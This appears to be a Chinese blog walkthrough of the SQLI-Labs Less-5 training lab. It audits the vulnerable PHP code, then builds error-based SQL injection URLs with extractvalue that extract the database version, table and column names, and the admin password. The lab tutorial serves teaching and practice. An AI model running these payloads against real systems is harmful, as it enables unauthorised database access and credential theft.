SQLI-Labs:Less - 5(盲注 报错注入)

SQL注入 - 前置知识:https://blog.csdn.net/weixin_43320796/article/details/139498174
SQL注入 - M有SQL 盲注:https://blog.csdn.net/weixin_43320796/article/details/139633446

在这里插入图片描述

1. 代码审计

截取一段源代码:

在这里插入图片描述

  1. 可以看到源代码(20行)判断GET请求的id是否有值
  2. 如果有值的就(21行)赋值到$id变量
  3. (27行)SQL语句变量'$id'存在单引号干扰
    1. '闭合前面的单引号,用 --+注释后面的单引号
    2. id参数值为 1' or 1=1 --+拼接 SQL SELECT * FROM users WHERE id = '1' or 1=1 --+'LIMIT 0,1
  4. 然后代入数据库查询(28-29行)
  5. (31-35行)判断数据库查询是否有数据,有则打印'You are in...........'
  6. (36-41行)如果没有则(39行)打印MySQL错误信息
  7. 这关我们可以使用MySQL盲注的报错注入

2. 注入测试

2.1 extractvalue报错注入

  • 此处可以利用 extractvalue报错注入 尝试爆出数据库版本

    http://www.sqlilabs.kay.com/Less-5/?id=1' AND (extractvalue(1,CONCAT(0x7e,(SELECT version()),0x7e))) --+
    

    在这里插入图片描述

3. 构造 Payload

3.1 爆当前数据库名

http://www.sqlilabs.kay.com/Less-5/?id=1' AND (extractvalue(1,CONCAT(0x7e,(SELECT DATABASE()),0x7e))) --+

在这里插入图片描述

3.2 爆当前数据库第四个表名

http://www.sqlilabs.kay.com/Less-5/?id=1' AND (extractvalue(1,CONCAT(0x7e,(SELECT TABLE_NAME FROM information_schema.TABLES WHERE TABLE_SCHEMA=database() LIMIT 3,1),0x7e))) --+

LIMIT 用法: LIMIT offset,count offset 是返回的初始标注,起始点是0,是返回的数量。

在这里插入图片描述

3.3 爆 users 表所有字段名

http://www.sqlilabs.kay.com/Less-5/?id=1' AND (extractvalue(1,CONCAT(0x7e,(SELECT GROUP_CONCAT(COLUMN_NAME) FROM information_schema.COLUMNS WHERE TABLE_NAME='users' AND TABLE_SCHEMA=DATABASE()),0x7e))) --+

在这里插入图片描述

3.4 爆 username = adminpassword 数据

http://www.sqlilabs.kay.com/Less-5/?id=1' AND (extractvalue(1,CONCAT(0x7e,(SELECT password FROM security.users WHERE username='admin'),0x7e))) --+

在这里插入图片描述

  • 5
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值